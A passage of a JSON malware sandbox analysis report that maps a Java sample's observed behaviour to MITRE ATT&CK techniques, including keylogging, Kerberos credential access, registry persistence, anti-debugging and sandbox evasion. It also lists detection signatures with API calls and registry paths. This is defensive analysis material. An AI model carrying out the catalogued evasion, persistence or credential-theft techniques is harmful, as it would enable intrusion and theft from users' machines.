Permissions","attack_id":"T1222.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1222/001","identifiers":[{"type":"malicious","value":"Modifies the access control lists of files"}],"sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"}]},{"tactic":"Resource Development","technique":"Domains","attack_id":"T1583.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1583/001","identifiers":[{"type":"informative","value":"Short-term SSL certificate detected"},{"type":"informative","value":"Recently renewed or created SSL certificate"}],"sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Initial Access","technique":"Phishing","attack_id":"T1566","attack_id_wiki":"https://attack.mitre.org/techniques/T1566","identifiers":[{"type":"malicious","value":"Application communicates with a malicious domain"}],"sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Found named pipe like strings"}],"sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"suspicious","value":"Contains references to WMI/WMIC"}],"sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","identifiers":[{"type":"suspicious","value":"Executes powershell accessing native variables"},{"type":"informative","value":"Observed Powershell command strings"},{"type":"informative","value":"Executes PowerShell with command line"},{"type":"informative","value":"YARA signature match - PowerShell file content"}],"sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Execution","technique":"Scheduled Task/Job","attack_id":"T1053","attack_id_wiki":"https://attack.mitre.org/techniques/T1053","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","identifiers":[{"type":"informative","value":"Executes batch file"}],"sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to start a process (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Persistence","technique":"Local Account","attack_id":"T1136.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1136/001","identifiers":[{"type":"informative","value":"Contains ability to create a new user account (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Writes registry keys"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Accesses System Certificates Settings"}],"sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Persistence","technique":"Account Manipulation","attack_id":"T1098","attack_id_wiki":"https://attack.mitre.org/techniques/T1098","identifiers":[{"type":"informative","value":"Contains ability to add users to a group (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Persistence","technique":"Registry Run Keys / Startup Folder","attack_id":"T1547.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/001","identifiers":[{"type":"informative","value":"Writes a file to the startup folder"}],"sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Credential Access","technique":"Steal or Forge Kerberos Tickets","attack_id":"T1558","attack_id_wiki":"https://attack.mitre.org/techniques/T1558","identifiers":[{"type":"informative","value":"Able to access credential file using Kerberos"}],"sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Credential Access","technique":"Steal Web Session Cookie","attack_id":"T1539","attack_id_wiki":"https://attack.mitre.org/techniques/T1539","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Credential Access","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","identifiers":[{"type":"informative","value":"Calls an API typically used for keylogging"}],"sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"informative","value":"Able to determine NetBIOS or DNS name associated with the local computer"},{"type":"informative","value":"Contains ability to retrieve configuration of a workstation (API string)"},{"type":"informative","value":"Contains ability to retrieve network parameters of a computer (API string)"},{"type":"informative","value":"Detected Suricata Alert - External IP Lookup"},{"type":"suspicious","value":"Attempts to identify external IP address"},{"type":"informative","value":"Contains ability to free the memory used by network management functions (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Discovery","technique":"Permission Groups Discovery","attack_id":"T1069","attack_id_wiki":"https://attack.mitre.org/techniques/T1069","identifiers":[{"type":"informative","value":"Contains ability to enumerate user groups or their members (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Discovery","technique":"Local Storage Discovery","attack_id":"T1680","attack_id_wiki":"https://attack.mitre.org/techniques/T1680","identifiers":[{"type":"informative","value":"Able to enumerate disk drives (API string)"},{"type":"informative","value":"Calls an API typically used to enumerate Windows drive types"}],"sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Discovery","technique":"Domain Trust Discovery","attack_id":"T1482","attack_id_wiki":"https://attack.mitre.org/techniques/T1482","identifiers":[{"type":"informative","value":"Contains ability to retrieve Domain Trust data (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Able to retrieve date formats supported by the local system (API string)"},{"type":"informative","value":"Contains ability to retrieve machine timezone (API string)"},{"type":"informative","value":"Contains ability to query the machine timezone"},{"type":"informative","value":"Contains ability to query machine time"}],"sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Discovery","technique":"Time Based Checks","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"},{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"},{"type":"informative","value":"Contains ability to delay the execution of current thread"}],"sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Discovery","technique":"Remote System Discovery","attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/techniques/T1018","identifiers":[{"type":"informative","value":"Able to identify remote systems"}],"sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Discovery","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"},{"type":"informative","value":"Triggers a burst of requests to the same API (API Hammering)"},{"type":"informative","value":"Observed a high volume of repeated registry API calls (API Hammering)"},{"type":"informative","value":"Contains ability to detect virtual environment (API)"}],"sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Discovery","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)"}],"sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Discovery","technique":"System Network Connections Discovery","attack_id":"T1049","attack_id_wiki":"https://attack.mitre.org/techniques/T1049","identifiers":[{"type":"malicious","value":"Maps a network share location"}],"sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"informative","value":"Found E-Mail address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","identifiers":[{"type":"informative","value":"Contains ability to perform encryption/decryption using RSA algorithm"}],"sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"informative","value":"Attempts to call internet-related API for network communication"}],"sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Command and Control","technique":"Internal Proxy","attack_id":"T1090.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1090/001","identifiers":[{"type":"suspicious","value":"Modifies proxy settings"}],"sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Uses HTTPS for communication"},{"type":"informative","value":"Makes HTTPS connections using secure TLS/SSL version"}],"sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Command and Control","technique":"Domain Generation Algorithms","attack_id":"T1568.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1568/002","identifiers":[{"type":"informative","value":"High entropy domain detected"}],"sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Command and Control","technique":"Web Service","attack_id":"T1102","attack_id_wiki":"https://attack.mitre.org/techniques/T1102","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over Web Service","attack_id":"T1567","attack_id_wiki":"https://attack.mitre.org/techniques/T1567","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Impact","technique":"Data Manipulation","attack_id":"T1565","attack_id_wiki":"https://attack.mitre.org/techniques/T1565","identifiers":[{"type":"informative","value":"Contains ability to modify data representation (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Impact","technique":"Account Access Removal","attack_id":"T1531","attack_id_wiki":"https://attack.mitre.org/techniques/T1531","identifiers":[{"type":"informative","value":"Contains ability to delete a user account from a server (API string)"},{"type":"informative","value":"Contains ability to delete users from a group (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to close a handle to a service (API string)"},{"type":"informative","value":"Contains ability to terminate a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Stealth","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Stealth","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Able to decrypt/decode data"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Stealth","technique":"Match Legitimate Resource Name or Location","attack_id":"T1036.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/005","identifiers":[{"type":"informative","value":"Creates file(s) in System32 or SysWOW64 directory"}],"sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Stealth","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Loads the CLR Loader DLL"}],"sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Stealth","technique":"Hidden Files and Directories","attack_id":"T1564.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/001","identifiers":[{"type":"malicious","value":"Attempts to change the attributes of the files"}],"sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Stealth","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Stealth","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"Contains XOR operation loops [Stream disassembly]"}],"sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Defense Impairment","technique":"Code Signing","attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]}],"sandbox_signatures":[{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Heuristic match: \"ru/hr.mr\"","origin":"sample.bin","mitre_attack_id":"T1071","id":"string-3","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify system service (API string)","description":"Found reference to API \"com/sun/jna/platform/win32/Winsvc$ChangeServiceConfig2Info.class\" (Indicator: \"ChangeServiceConfig\"; File: \"Ikov.jar\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-192","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"file/memory contains long string with (Indicator: \"HashAlgorithm\"; File: \"Ikov.jar\")\n Found reference to \"cbSize\"\n \"dwRevocationResult\"\n \"pszRevocationOid\"\n \"pvOidSpecificInfo\"\n \"fHasFreshnessTime\"\n \"dwFreshnessTime\"\n \"pCrlInfo\" (Indicator: \"Oid\"; File: \"Ikov.jar\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Loads the debugger/analysis tool module","description":"\"javaw.exe\" loaded module \"%WINDIR%\\System32\\dbghelp.dll\" at C39C0000","origin":"Loaded Module","mitre_attack_id":"T1518.001","relevance":3,"id":"module-16","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Modifies process error mode to suppress error dialogs","description":"\"javaw.exe\" set its error mode to SEM_NOOPENFILEERRORBOX\n \"javaw.exe\" set its error mode to SEM_FAILCRITICALERRORS","origin":"API Call","mitre_attack_id":"T1685","relevance":10,"id":"api-38","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"\"javaw.exe\" queried SystemProcessInformation at 00000000-00000860-00000C15-2387912285 [PID: 860]\n \"javaw.exe\" queried SystemProcessInformation at 00000000-00000860-00000C15-2387918479 [PID: 860]\n \"javaw.exe\" queried SystemProcessInformation at 00000000-00000860-00000C15-2388154089 [PID: 860]\n \"javaw.exe\" queried SystemProcessInformation at 00000000-00000860-00000C15-2388161480 [PID: 860]\n \"javaw.exe\" queried SystemProcessInformation at 00000000-00000860-00000C15-2388313654 [PID: 860]\n \"javaw.exe\" queried SystemProcessInformation at 00000000-00000860-00000C15-2388320220 [PID: 860]\n \"javaw.exe\" queried SystemProcessInformation at 00000000-00000860-00000C15-2390121853 [PID: 860]\n \"javaw.exe\" queried SystemProcessInformation at 00000000-00000860-00000C15-2390128079 [PID: 860]","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to crypto DLLs","description":"Found string \"%PROGRAMFILES%\\Java\\jre-1.8\\bin\\msvcp140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00000860-00000C2B-2388667503\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-493","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Cryptographic Related","name":"Sample file has high entropy (likely encrypted/compressed content)","description":"Sample file \"sample.bin\" has high entropy 7.951","origin":"Binary File","mitre_attack_id":"T1027","relevance":1,"id":"binary-71","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains reference to crypto DLLs\n Matched sigs: Contains ability to use Cryptographic classes\n Matched sigs: Sample file has high entropy (likely encrypted/compressed content)\n Matched sigs: References key cryptographic functions\n Matched sigs: Contains key cryptographic functions of the CryptoAPI","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Environment Awareness","name":"Able to access user sensitive domain","description":"Found string \"github.com/douglascrockford/JSON-java.git\" (Indicator: \"github.com\"; File: \"Ikov.jar\")\n Found string \"github.com\" (Indicator: \"github.com\"; File: \"Ikov.jar\")\n Found string \"https://github.com/douglascrockford/JSON-java.git\" (Indicator: \"github.com\"; File: \"Ikov.jar\")\n Found string \"https://github.com/douglascrockford/JSON-java\" (Indicator: \"github.com\"; File: \"Ikov.jar\")\n Found string \"https://github.com/stleary/JSON-java/blob/master/LICENSE\" (Indicator: \"github.com\"; File: \"Ikov.jar\")","origin":"File/Memory","mitre_attack_id":"T1590","relevance":1,"id":"string-761","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"Found string \"GetCursorPos\" (Indicator: \"GetCursorPos\"; Source: \"00000000-00000860-00000C2C-2395831260\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-661","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"Found reference to API \"SendMessageW\" (Indicator: \"sendmessage\"; Source: \"00000000-00000860-00000C2C-2393995487\")","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"javaw.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00000860)\n \"javaw.exe\" called \"GlobalMemoryStatusEx\" with parameters (UID: 00000000-00000860)\n \"javaw.exe\" called \"QueryPerformanceCounter\" (UID: 00000000-00000860)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"javaw.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00000860)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"javaw.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00000860)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$36","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to query local/system time as file time","description":"\"javaw.exe\" called \"FileTimeToSystemTime\" (UID: 00000000-00000860)","origin":"API Call","mitre_attack_id":"T1070.006","relevance":3,"id":"api-223","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"$37","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve default language settings","description":"\"javaw.exe\" called \"GetSystemDefaultLangID\" (UID: 00000000-00000860)","origin":"API Call","mitre_attack_id":"T1614.001","relevance":3,"id":"api-149","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"javaw.exe\" called \"GetLocaleInfoA\" with parameter \"1033\" - (UID: 00000000-00000860)\n \"javaw.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00000860)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to enumerates all mounted drives","description":"INSTANCE.GetLogicalDriveStrings@Kernel32 at 297f66f275200fa96b0df78e46d1758a-6244","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1083","relevance":3,"id":"stream-66","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the system locale","description":"LCID LOCALE_USER_DEFAULT = Kernel32.INSTANCE.GetUserDefaultLCID@WinDef at 297f66f275200fa96b0df78e46d1758a-1acb\n LCID lcid = Kernel32.INSTANCE.GetUserDefaultLCID@WinDef at 297f66f275200fa96b0df78e46d1758a-43c7","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1614","relevance":1,"id":"stream-49","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"javaw.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"javaw.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve environment variable settings","description":"Found string \"Set sun.java2d.noddraw=true to enable transparent windows\" (Indicator: \"set \"; File: \"Ikov.jar\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-326","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve geographical location","description":"\"dwSize\"\n \"dwfOptions\"\n \"dwCountryID\"\n \"dwCountryCode\"\n \"szAreaCode\"\n \"szLocalPhoneNumber\"\n \"dwAlternateOffset\"\n \"ipaddr\"\n \"ipaddrDns\"\n \"ipaddrDnsAlt\"\n \"ipaddrWins\"\n \"ipaddrWinsAlt\"\n \"dwFrameSize\"\n \"dwfNetProtocols\"\n \"dwFramingProtocol\"\n \"szScript\"\n \"szAutodialDll\"\n \"szAutodialFunc\"\n \"szDeviceType\"\n \"szDeviceName\"\n \"szX25PadType\"\n \"szX25Address\"\n \"szX25Facilities\"\n \"szX25UserData\"\n \"dwChannels\"\n \"dwReserved1\"\n \"dwReserved2\"\n \"dwSubEntries\"\n \"dwDialMode\"\n \"dwDialExtraPercent\"\n \"dwDialExtraSampleSeconds\"\n \"dwHangUpExtraPercent\"\n \"dwHangUpExtraSampleSeconds\"\n \"dwIdleDisconnectSeconds\"\n \"dwType\"\n \"dwEncryptionType\"\n \"dwCustomAuthKey\"\n \"guidId\"\n \"szCustomDialDll\"\n \"dwVpnStrategy\"\n \"dwfOptions2\"\n \"dwfOptions3\"\n \"szDnsSuffix\"\n \"dwTcpWindowSize\"\n \"szPrerequisitePbk\"\n \"szPrerequisiteEntry\"\n \"dwRedialCount\"\n \"dwRedialPause\"\n \"ipv6addrDns\"\n \"ipv6addrDnsAlt\"\n \"dwIPv4InterfaceMetric\"\n \"dwIPv6InterfaceMetric\"\n \"ipv6addr\"\n \"dwIPv6PrefixLength\"\n \"dwNetworkOutageTime\" (Indicator: \"countrycode\") in Source: 915","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-575","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve/open a process","description":"INSTANCE.OpenProcess@Kernel32 at 297f66f275200fa96b0df78e46d1758a-d37\n INSTANCE.OpenProcessToken@Advapi32 at 297f66f275200fa96b0df78e46d1758a-1118\n INSTANCE.OpenProcessToken@Advapi32 at 297f66f275200fa96b0df78e46d1758a-160f\n INSTANCE.OpenProcess@Kernel32 at 